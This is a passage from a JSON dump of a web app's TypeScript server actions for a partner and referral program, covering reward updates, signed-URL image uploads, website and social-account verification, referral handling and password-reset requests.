    "content": "\"use server\";\n\nimport { trackRewardActivityLog } from \"@/lib/api/activity-log/track-reward-activity-log\";\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getRewardOrThrow } from \"@/lib/api/partners/get-reward-or-throw\";\nimport { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { validateReward } from \"@/lib/api/rewards/validate-reward\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { updateRewardSchema } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { revalidatePath } from \"next/cache\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const updateRewardAction = authActionClient\n  .inputSchema(updateRewardSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const {\n      type,\n      amountInCents,\n      amountInPercentage,\n      maxDuration,\n      description,\n      tooltipDescription,\n      modifiers,\n      rewardId,\n    } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const reward = await getRewardOrThrow({\n      rewardId,\n      programId,\n    });\n\n    const { canUseAdvancedRewardLogic } = getPlanCapabilities(workspace.plan);\n\n    if (modifiers && !canUseAdvancedRewardLogic) {\n      throw new Error(\n        \"Advanced reward structures are only available on the Advanced plan and above.\",\n      );\n    }\n\n    validateReward({\n      ...parsedInput,\n      event: reward.event,\n    });\n\n    const updatedReward = await prisma.reward.update({\n      where: {\n        id: rewardId,\n      },\n      data: {\n        type,\n        maxDuration,\n        description: description || null,\n        tooltipDescription: tooltipDescription || null,\n        modifiers: modifiers === null ? Prisma.DbNull : modifiers,\n        ...(type === \"flat\"\n          ? {\n              amountInCents,\n              amountInPercentage: null,\n            }\n          : {\n              amountInCents: null,\n              amountInPercentage: new Prisma.Decimal(amountInPercentage!),\n            }),\n      },\n      include: {\n        program: true,\n        clickPartnerGroup: true,\n        leadPartnerGroup: true,\n        salePartnerGroup: true,\n      },\n    });\n\n    const {\n      program,\n      clickPartnerGroup,\n      leadPartnerGroup,\n      salePartnerGroup,\n      ...rewardMetadata\n    } = updatedReward;\n\n    const isDefaultGroup = [\n      clickPartnerGroup,\n      leadPartnerGroup,\n      salePartnerGroup,\n    ].some((group) => group?.slug === \"default\");\n\n    // Determine the groupId from the partner group relation\n    const partnerGroup =\n      clickPartnerGroup || leadPartnerGroup || salePartnerGroup;\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"reward.updated\",\n          description: `Reward ${rewardId} updated`,\n          actor: user,\n          targets: [\n            {\n              type: \"reward\",\n              id: rewardId,\n              metadata: serializeReward(rewardMetadata),\n            },\n          ],\n        }),\n\n        trackRewardActivityLog({\n          workspaceId: workspace.id,\n          programId,\n          userId: user.id,\n          resourceId: rewardMetadata.id,\n          parentResourceType: \"group\",\n          parentResourceId: partnerGroup?.id,\n          old: reward,\n          new: updatedReward,\n        }),\n\n        // we only cache default group pages for now so we need to invalidate them\n        ...(isDefaultGroup\n          ? [\n              revalidatePath(`/partners.dub.co/${program.slug}`),\n              revalidatePath(`/partners.dub.co/${program.slug}/apply`),\n            ]\n          : []),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/upload-bounty-submission-file.ts",
    "content": "\"use server\";\n\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { storage } from \"@/lib/storage\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { submissionRequirementsSchema } from \"@/lib/zod/schemas/bounties\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst schema = z.object({\n  programId: z.string(),\n  bountyId: z.string(),\n});\n\nconst MAX_ATTEMPTS = 25;\nconst CACHE_KEY_PREFIX = \"bounty:submission:file:upload\";\n\nexport const uploadBountySubmissionFileAction = authPartnerActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner } = ctx;\n    const { programId, bountyId } = parsedInput;\n\n    const { success } = await ratelimit(MAX_ATTEMPTS, \"24 h\").limit(\n      `${CACHE_KEY_PREFIX}:${bountyId}:${partner.id}`,\n    );\n\n    if (!success) {\n      throw new Error(\n        \"You've reached the maximum number of attempts to upload a file for this bounty.\",\n      );\n    }\n\n    const [programEnrollment, bounty] = await Promise.all([\n      getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId,\n        include: {},\n      }),\n\n      prisma.bounty.findUniqueOrThrow({\n        where: {\n          id: bountyId,\n        },\n        include: {\n          groups: true,\n          submissions: {\n            where: {\n              partnerId: partner.id,\n            },\n          },\n        },\n      }),\n    ]);\n\n    if (![\"approved\", \"pending\"].includes(programEnrollment.status)) {\n      throw new Error(\n        \"You are not allowed to submit a bounty for this program.\",\n      );\n    }\n\n    if (bounty.programId !== programId) {\n      throw new Error(\"This bounty is not for this program.\");\n    }\n\n    if (bounty.groups.length > 0) {\n      const isInGroup = bounty.groups.find(\n        ({ groupId }) => groupId === programEnrollment.groupId,\n      );\n\n      if (!isInGroup) {\n        throw new Error(\"You are not allowed to submit this bounty.\");\n      }\n    }\n\n    // Validate the bounty dates\n    const now = new Date();\n\n    if (bounty.startsAt && bounty.startsAt > now) {\n      throw new Error(\"This bounty is not yet available.\");\n    }\n\n    if (bounty.endsAt && bounty.endsAt < now) {\n      throw new Error(\"This bounty is no longer available.\");\n    }\n\n    if (bounty.archivedAt) {\n      throw new Error(\"This bounty is archived.\");\n    }\n\n    if (bounty.type === \"performance\") {\n      throw new Error(\"You are not allowed to submit a performance bounty.\");\n    }\n\n    // Validate the submission requirements\n    const submissionRequirements = submissionRequirementsSchema.parse(\n      bounty.submissionRequirements,\n    );\n\n    const requireImage = !!submissionRequirements?.image;\n\n    if (!requireImage) {\n      throw new Error(\n        \"The submission requirements for this bounty do not allow for file uploads.\",\n      );\n    }\n\n    try {\n      const key = `programs/${bounty.programId}/bounties/${bounty.id}/submissions/${partner.id}/${nanoid(7)}`;\n      const signedUrl = await storage.getSignedUploadUrl({\n        key,\n      });\n\n      return {\n        signedUrl,\n        destinationUrl: `${R2_URL}/${key}`,\n      };\n    } catch (e) {\n      throw new Error(\"Failed to get signed URL for upload.\");\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/upload-campaign-image.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { storage } from \"@/lib/storage\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n});\n\nexport const uploadCampaignImageAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx }) => {\n    const { workspace } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    try {\n      const key = `programs/${programId}/emails/image_${nanoid(7)}`;\n      const signedUrl = await storage.getSignedUploadUrl({\n        key,\n      });\n\n      return {\n        key,\n        signedUrl,\n        destinationUrl: `${R2_URL}/${key}`,\n      };\n    } catch (e) {\n      throw new Error(\"Failed to get signed URL for upload.\");\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/upload-lander-image.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { storage } from \"@/lib/storage\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n});\n\nexport const uploadLanderImageAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx }) => {\n    const { workspace } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    try {\n      const key = `programs/${programId}/lander/image_${nanoid(7)}`;\n\n      const signedUrl = await storage.getSignedUploadUrl({\n        key,\n      });\n\n      return {\n        key,\n        signedUrl,\n        destinationUrl: `${R2_URL}/${key}`,\n      };\n    } catch (e) {\n      throw new Error(\"Failed to get signed URL for upload.\");\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/upload-program-application-image.ts",
    "content": "\"use server\";\n\nimport { getIP } from \"@/lib/api/utils/get-ip\";\nimport { storage } from \"@/lib/storage\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { RATE_LIMITS } from \"@/lib/upstash/ratelimit-policy\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { actionClient } from \"../safe-action\";\n\nconst inputSchema = z.object({\n  programSlug: z.string().trim().toLowerCase().min(1),\n});\n\nconst rateLimitPolicy = RATE_LIMITS.programImageUpload;\n\nexport const uploadProgramApplicationImageAction = actionClient\n  .inputSchema(inputSchema)\n  .action(async ({ parsedInput }) => {\n    const { programSlug } = parsedInput;\n\n    const ipAddress = await getIP();\n\n    const { success } = await ratelimit(\n      rateLimitPolicy.attempts,\n      rateLimitPolicy.window,\n    ).limit(`${rateLimitPolicy.keyPrefix}:${ipAddress}`);\n\n    if (!success) {\n      throw new Error(\n        \"You've reached the maximum number of attempts to upload images for this application. Please try again later.\",\n      );\n    }\n\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        slug: programSlug,\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    const key = `programs/${program.id}/applications/${nanoid(10)}`;\n    const signedUrl = await storage.getSignedUploadUrl({\n      key,\n    });\n\n    return {\n      signedUrl,\n      destinationUrl: `${R2_URL}/${key}`,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/verify-partner-website.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport { getDomainWithoutWWW } from \"@dub/utils\";\nimport dns from \"dns\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nexport const verifyPartnerWebsiteAction = authPartnerActionClient.action(\n  async ({ ctx }) => {\n    const { partner } = ctx;\n\n    const partnerPlatform = await prisma.partnerPlatform.findUnique({\n      where: {\n        partnerId_type: {\n          partnerId: partner.id,\n          type: \"website\",\n        },\n      },\n    });\n\n    if (!partnerPlatform || !partnerPlatform.identifier) {\n      throw new Error(\n        \"Website not found on your partner profile. Please restart the verification process.\",\n      );\n    }\n\n    const metadata = partnerPlatform.metadata as { websiteTxtRecord: string };\n\n    if (!metadata || !metadata.websiteTxtRecord) {\n      throw new Error(\n        \"Website verification data not found. Please restart the verification process.\",\n      );\n    }\n\n    let domain: string | null = null;\n\n    try {\n      domain = getDomainWithoutWWW(partnerPlatform.identifier)!;\n    } catch (e) {\n      throw new Error(\"Please make sure the website is a valid URL.\");\n    }\n\n    // Use a custom resolver with public DNS to avoid system/OS DNS cache\n    const resolver = new dns.Resolver();\n    resolver.setServers([\"8.8.8.8\", \"1.1.1.1\"]);\n\n    const valid = await new Promise<boolean>((resolve, reject) => {\n      resolver.resolveTxt(domain!, (err, addresses) => {\n        if (err) {\n          reject(err);\n        } else {\n          resolve(\n            addresses.some(\n              (address) => address.join(\"\").includes(metadata.websiteTxtRecord), // join because resolveTxt returns string[][]\n            ),\n          );\n        }\n      });\n    });\n\n    if (!valid) {\n      throw new Error(\n        \"TXT record not found. Please make sure the TXT record is set correctly and try again.\",\n      );\n    }\n\n    await prisma.partnerPlatform.update({\n      where: {\n        partnerId_type: {\n          partnerId: partner.id,\n          type: \"website\",\n        },\n      },\n      data: {\n        verifiedAt: new Date(),\n      },\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/actions/partners/verify-social-account-by-code.ts",
    "content": "\"use server\";\n\nimport { getLinkedInPost } from \"@/lib/api/scrape-creators/get-linkedin-post\";\nimport { getSocialProfile } from \"@/lib/api/scrape-creators/get-social-profile\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { prisma } from \"@dub/prisma\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst schema = z.object({\n  platform: z.enum(PlatformType),\n  handle: z.string().min(1),\n  postUrl: z.url().optional(),\n});\n\n// Verify social accounts using the verification code\nexport const verifySocialAccountByCodeAction = authPartnerActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner } = ctx;\n    const { platform, handle, postUrl } = parsedInput;\n\n    if (![\"youtube\", \"instagram\", \"linkedin\"].includes(platform)) {\n      throw new Error(\"Only YouTube, Instagram, and LinkedIn are supported.\");\n    }\n\n    if (platform === \"linkedin\" && !postUrl) {\n      throw new Error(\"Please provide the LinkedIn post URL.\");\n    }\n\n    // Rate limit check\n    const { success } = await ratelimit(5, \"1 h\").limit(\n      `social-verification:${partner.id}:${platform}`,\n    );\n\n    if (!success) {\n      throw new Error(\n        \"Too many verification attempts. Please try again later.\",\n      );\n    }\n\n    // Get the verification code from Redis\n    const cacheKey = `social-verification:${partner.id}:${platform}:${handle}`;\n    const verificationCode = await redis.get<string>(cacheKey);\n\n    if (!verificationCode) {\n      throw new Error(\n        \"Verification code not found or expired. Please start verification again.\",\n      );\n    }\n\n    // Check if the account is already verified\n    const partnerPlatform = await prisma.partnerPlatform.findUnique({\n      where: {\n        partnerId_type: {\n          partnerId: partner.id,\n          type: platform,\n        },\n      },\n      select: {\n        identifier: true,\n        verifiedAt: true,\n      },\n    });\n\n    if (!partnerPlatform) {\n      throw new Error(\"Social account not found. Please restart verification.\");\n    }\n\n    // No further action is needed if the account is already verified\n    if (\n      partnerPlatform?.identifier?.toLowerCase() === handle.toLowerCase() &&\n      partnerPlatform.verifiedAt\n    ) {\n      return;\n    }\n\n    if (platform === \"linkedin\") {\n      // For LinkedIn, fetch the post and check for the verification code\n      const linkedInPost = await getLinkedInPost(postUrl!);\n\n      if (!linkedInPost.description || linkedInPost.description.length === 0) {\n        throw new Error(\n          \"We could not find any text content in the LinkedIn post. Please ensure it is visible and try again.\",\n        );\n      }\n\n      if (!linkedInPost.description.includes(verificationCode)) {\n        throw new Error(\n          \"The verification code was not found in the LinkedIn post. Please add the code exactly as provided and try again.\",\n        );\n      }\n\n      // Verify the post author matches the stored handle\n      const authorUrl = linkedInPost.author.url?.toLowerCase() ?? \"\";\n      const authorSlug = authorUrl.match(/\\/in\\/([^/?]+)/)?.[1];\n\n      if (\n        !authorSlug ||\n        authorSlug !== partnerPlatform.identifier.toLowerCase()\n      ) {\n        throw new Error(\n          \"The LinkedIn post does not appear to belong to the account you are verifying. Please ensure you are sharing a post from the correct account.\",\n        );\n      }\n\n      await prisma.partnerPlatform.update({\n        where: {\n          partnerId_type: {\n            partnerId: partner.id,\n            type: platform,\n          },\n        },\n        data: {\n          verifiedAt: new Date(),\n          subscribers: BigInt(linkedInPost.author.followers),\n        },\n      });\n\n      await redis.del(cacheKey);\n      return;\n    }\n\n    // For YouTube and Instagram, verify code in profile description\n    const socialProfile = await getSocialProfile({\n      platform,\n      handle,\n    });\n\n    if (!socialProfile.description || socialProfile.description.length === 0) {\n      throw new Error(\n        `We could not find a public ${\n          platform === \"youtube\" ? \"channel description\" : \"bio\"\n        } for this account. Please ensure it is visible and try again.`,\n      );\n    }\n\n    const isValid = socialProfile.description.includes(verificationCode);\n\n    if (!isValid) {\n      throw new Error(\n        `The verification code was not found in your ${\n          platform === \"youtube\" ? \"channel description\" : \"bio\"\n        }. Please add the code exactly as provided, save your changes, and try again.`,\n      );\n    }\n\n    await prisma.partnerPlatform.update({\n      where: {\n        partnerId_type: {\n          partnerId: partner.id,\n          type: platform,\n        },\n      },\n      data: {\n        verifiedAt: new Date(),\n        platformId: socialProfile.platformId,\n        subscribers: socialProfile.subscribers,\n        posts: socialProfile.posts,\n        views: socialProfile.views,\n        avatarUrl: socialProfile.avatarUrl,\n      },\n    });\n\n    await redis.del(cacheKey);\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/withdraw-partner-application.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nexport const withdrawPartnerApplicationAction = authPartnerActionClient\n  .inputSchema(\n    z.object({\n      programId: z.string(),\n    }),\n  )\n  .action(async ({ ctx, parsedInput }) => {\n    const { programId } = parsedInput;\n    const { partner } = ctx;\n\n    const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n      where: {\n        partnerId_programId: {\n          partnerId: partner.id,\n          programId,\n        },\n      },\n    });\n\n    if (programEnrollment.status !== \"pending\") {\n      throw new Error(\n        \"You can only withdraw your application if it's still pending.\",\n      );\n    }\n\n    await prisma.$transaction(async (tx) => {\n      const deletedProgramEnrollment = await tx.programEnrollment.delete({\n        where: {\n          id: programEnrollment.id,\n        },\n      });\n\n      if (programEnrollment.applicationId) {\n        await tx.programApplication.delete({\n          where: {\n            id: programEnrollment.applicationId,\n          },\n        });\n      }\n\n      return deletedProgramEnrollment;\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/referrals/submit-referral.ts",
    "content": "\"use server\";\n\nimport { trackActivityLog } from \"@/lib/api/activity-log/track-activity-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { notifyPartnerReferralSubmitted } from \"@/lib/api/referrals/notify-partner-referral-submitted\";\nimport { REFERRAL_FORM_REQUIRED_FIELD_KEYS } from \"@/lib/referrals/constants\";\nimport { ReferralFormDataField } from \"@/lib/types\";\nimport {\n  formFieldSchema,\n  referralFormSchema,\n  referralRequiredFieldsSchema,\n} from \"@/lib/zod/schemas/referral-form\";\nimport { createPartnerReferralSchema } from \"@/lib/zod/schemas/referrals\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { COUNTRIES } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\n/**\n * Converts field values based on field type:\n * - country: converts country code to country name\n * - select: converts option value to option label\n * - multiSelect: converts array of option values to array of option labels\n */\nfunction convertFieldValue(\n  value: unknown,\n  fieldSchema?: z.infer<typeof formFieldSchema>,\n): unknown {\n  if (!fieldSchema) return value;\n\n  switch (fieldSchema.type) {\n    case \"country\":\n      return typeof value === \"string\" && value in COUNTRIES\n        ? COUNTRIES[value]\n        : value;\n\n    case \"select\": {\n      const option = fieldSchema.options.find((opt) => opt.value === value);\n      return option?.label ?? value;\n    }\n\n    case \"multiSelect\":\n      return Array.isArray(value)\n        ? value.map(\n            (val) =>\n              fieldSchema.options.find((opt) => opt.value === val)?.label ??\n              val,\n          )\n        : value;\n\n    default:\n      return value;\n  }\n}\n\n// Create a partner referral\nexport const submitReferralAction = authPartnerActionClient\n  .inputSchema(createPartnerReferralSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partner, user } = ctx;\n    const { programId, formData: rawFormData } = parsedInput;\n\n    const programEnrollment = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId,\n      include: {\n        program: true,\n        partner: true,\n      },\n    });\n\n    // Make sure required fields are present\n    const requiredFieldsResult =\n      referralRequiredFieldsSchema.safeParse(rawFormData);\n\n    if (!requiredFieldsResult.success) {\n      const firstError = requiredFieldsResult.error.issues[0];\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: firstError.message,\n      });\n    }\n\n    const { name, email, company } = requiredFieldsResult.data;\n\n    // Parse custom fields from formData\n    const customFormData: ReferralFormDataField[] = [];\n\n    // Parse and get form schema fields to extract labels\n    const parsedReferralFormData = programEnrollment.program.referralFormData\n      ? referralFormSchema.safeParse(programEnrollment.program.referralFormData)\n      : null;\n    const formSchemaFields =\n      parsedReferralFormData?.success && parsedReferralFormData.data.fields\n        ? parsedReferralFormData.data.fields\n        : [];\n\n    const fieldMap = new Map<string, z.infer<typeof formFieldSchema>>();\n    for (const field of formSchemaFields) {\n      fieldMap.set(field.key, field);\n    }\n\n    // Process all fields in rawFormData except required ones\n    for (const [key, value] of Object.entries(rawFormData)) {\n      // Skip required fields\n      if (REFERRAL_FORM_REQUIRED_FIELD_KEYS.has(key)) {\n        continue;\n      }\n\n      // Skip undefined/null/empty string/NaN so null values are never recorded (allow 0 and false)\n      if (value === undefined || value === null || value === \"\") {\n        continue;\n      }\n\n      if (typeof value === \"number\" && Number.isNaN(value)) {\n        continue;\n      }\n\n      // Get field schema to extract label and handle value conversion\n      const fieldSchema = fieldMap.get(key);\n      const label = fieldSchema?.label || key;\n\n      customFormData.push({\n        key,\n        label,\n        value: convertFieldValue(value, fieldSchema),\n        type: fieldSchema?.type ?? \"text\",\n      });\n    }\n\n    const referral = await prisma.partnerReferral.create({\n      data: {\n        id: createId({ prefix: \"ref_\" }),\n        programId,\n        partnerId: partner.id,\n        name,\n        email,\n        company,\n        formData:\n          customFormData.length > 0\n            ? (customFormData as Prisma.InputJsonValue)\n            : undefined,\n      },\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        notifyPartnerReferralSubmitted({\n          referral,\n          program: programEnrollment.program,\n          partner: programEnrollment.partner,\n        }),\n\n        trackActivityLog({\n          workspaceId: programEnrollment.program.workspaceId,\n          programId,\n          resourceType: \"referral\",\n          resourceId: referral.id,\n          userId: user.id,\n          action: \"referral.created\",\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/referrals/update-referral-status.ts",
    "content": "\"use server\";\n\nimport { trackActivityLog } from \"@/lib/api/activity-log/track-activity-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getReferralOrThrow } from \"@/lib/api/referrals/get-referral-or-throw\";\nimport { markReferralClosedWon } from \"@/lib/api/referrals/mark-referral-closed-won\";\nimport { markReferralQualified } from \"@/lib/api/referrals/mark-referral-qualified\";\nimport { notifyReferralStatusUpdate } from \"@/lib/api/referrals/notify-referral-status-update\";\nimport {\n  REFERRAL_STATUS_TO_ACTIVITY_ACTION,\n  REFERRAL_STATUS_TRANSITIONS,\n} from \"@/lib/referrals/constants\";\nimport { ReferralWithCustomer } from \"@/lib/types\";\nimport { updateReferralStatusSchema } from \"@/lib/zod/schemas/referrals\";\nimport { prisma } from \"@dub/prisma\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const updateReferralStatusAction = authActionClient\n  .inputSchema(updateReferralStatusSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { referralId, status, notes } = parsedInput;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    let referral = await getReferralOrThrow({\n      referralId,\n      programId,\n    });\n\n    if (!REFERRAL_STATUS_TRANSITIONS[referral.status].includes(status)) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Cannot transition from ${referral.status} to ${status}.`,\n      });\n    }\n\n    if (referral.status === status) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Referral is already in this status.\",\n      });\n    }\n\n    if (status === ReferralStatus.closedWon && !referral.customer) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"This referral does not have a customer associated with it.\",\n      });\n    }\n\n    const updatedReferral = await prisma.partnerReferral.update({\n      where: {\n        id: referral.id,\n        status: referral.status,\n      },\n      data: {\n        status,\n      },\n      include: {\n        customer: true,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        await Promise.allSettled([\n          notifyReferralStatusUpdate({\n            referral,\n            notes,\n          }),\n\n          trackActivityLog({\n            workspaceId: workspace.id,\n            programId,\n            resourceType: \"referral\",\n            resourceId: referral.id,\n            userId: user.id,\n            action: REFERRAL_STATUS_TO_ACTIVITY_ACTION[status],\n            description: notes,\n            changeSet: {\n              status: {\n                old: referral.status,\n                new: updatedReferral.status,\n              },\n            },\n          }),\n\n          ...(status === ReferralStatus.qualified\n            ? [\n                markReferralQualified({\n                  workspace,\n                  referral: updatedReferral,\n                  externalId: parsedInput.externalId ?? null,\n                }),\n              ]\n            : []),\n\n          ...(status === ReferralStatus.closedWon\n            ? [\n                markReferralClosedWon({\n                  workspace,\n                  referral: updatedReferral as ReferralWithCustomer,\n                  saleAmount: parsedInput.saleAmount,\n                  stripeCustomerId: parsedInput.stripeCustomerId ?? null,\n                }),\n              ]\n            : []),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/referrals/update-referral.ts",
    "content": "\"use server\";\n\nimport { getResourceDiff } from \"@/lib/api/activity-log/get-resource-diff\";\nimport { trackActivityLog } from \"@/lib/api/activity-log/track-activity-log\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getReferralOrThrow } from \"@/lib/api/referrals/get-referral-or-throw\";\nimport { updateReferralSchema } from \"@/lib/zod/schemas/referrals\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Update a partner referral's details\nexport const updateReferralAction = authActionClient\n  .inputSchema(updateReferralSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { referralId, name, email, company, formData } = parsedInput;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const existingReferral = await getReferralOrThrow({\n      referralId,\n      programId,\n    });\n\n    const updatedReferral = await prisma.partnerReferral.update({\n      where: {\n        id: referralId,\n      },\n      data: {\n        name,\n        email,\n        company,\n        ...(formData && {\n          formData: formData as Prisma.InputJsonValue,\n        }),\n      },\n    });\n\n    const diff = getResourceDiff(existingReferral, updatedReferral, {\n      fields: [\"name\", \"email\", \"company\"],\n    });\n\n    if (diff) {\n      waitUntil(\n        trackActivityLog({\n          workspaceId: workspace.id,\n          programId,\n          resourceType: \"referral\",\n          resourceId: referralId,\n          userId: user.id,\n          action: \"referral.updated\",\n          changeSet: diff,\n        }),\n      );\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/request-password-reset.ts",
    "content": "\"use server\";\n\nimport { ratelimit } from \"@/lib/upstash\";\nimport { sendEmail } from \"@dub/email\";\nimport ResetPasswordLink from \"@dub/email/templates/reset-password-link\";\nimport { prisma } from \"@dub/prisma\";\nimport { randomBytes } from \"crypto\";\nimport { flattenValidationErrors } from \"next-safe-action\";\nimport { PASSWORD_RESET_TOKEN_EXPIRY } from \"../auth/constants\";\nimport { requestPasswordResetSchema } from \"../zod/schemas/auth\";\nimport { throwIfAuthenticated } from \"./auth/throw-if-authenticated\";\nimport { actionClient } from \"./safe-action\";\n\n// Request a password reset email\nexport const requestPasswordResetAction = actionClient\n  .inputSchema(requestPasswordResetSchema, {\n    handleValidationErrorsShape: async (ve) =>\n      flattenValidationErrors(ve).fieldErrors,\n  })\n  .use(throwIfAuthenticated)\n  .action(async ({ parsedInput }) => {\n    const { email } = parsedInput;\n\n    const { success } = await ratelimit(2, \"1 m\").limit(\n      `request-password-reset:${email.toLowerCase()}`,\n    );\n\n    if (!success) {\n      throw new Error(\"Too many requests. Please try again later.\");\n    }\n\n    const user = await prisma.user.findUnique({\n      where: {\n        email,\n      },\n    });\n\n    if (!user) {\n      return { ok: true };\n    }\n\n    const token = randomBytes(32).toString(\"hex\");\n\n    // Run this sequentially to avoid race conditions\n    await prisma.$transaction([\n      // Remove old password reset tokens\n      prisma.passwordResetToken.deleteMany({\n        where: {\n          identifier: email,\n        },\n      }),\n\n      // Create a password reset token\n      prisma.passwordResetToken.create({\n        data: {\n          identifier: email,\n          token,\n          expires: new Date(Date.now() + PASSWORD_RESET_TOKEN_EXPIRY * 1000),\n        },\n      }),\n    ]);\n\n    await sendEmail({\n      subject: `${process.env.NEXT_PUBLIC_APP_NAME}: Password reset instructions`,\n      to: email,\n      react: ResetPasswordLink({\n        email,\n        url: `${process.env.NEXTAUTH_URL}/auth/reset-password/${token}`,\n      }),\n    });\n\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/safe-action.ts",
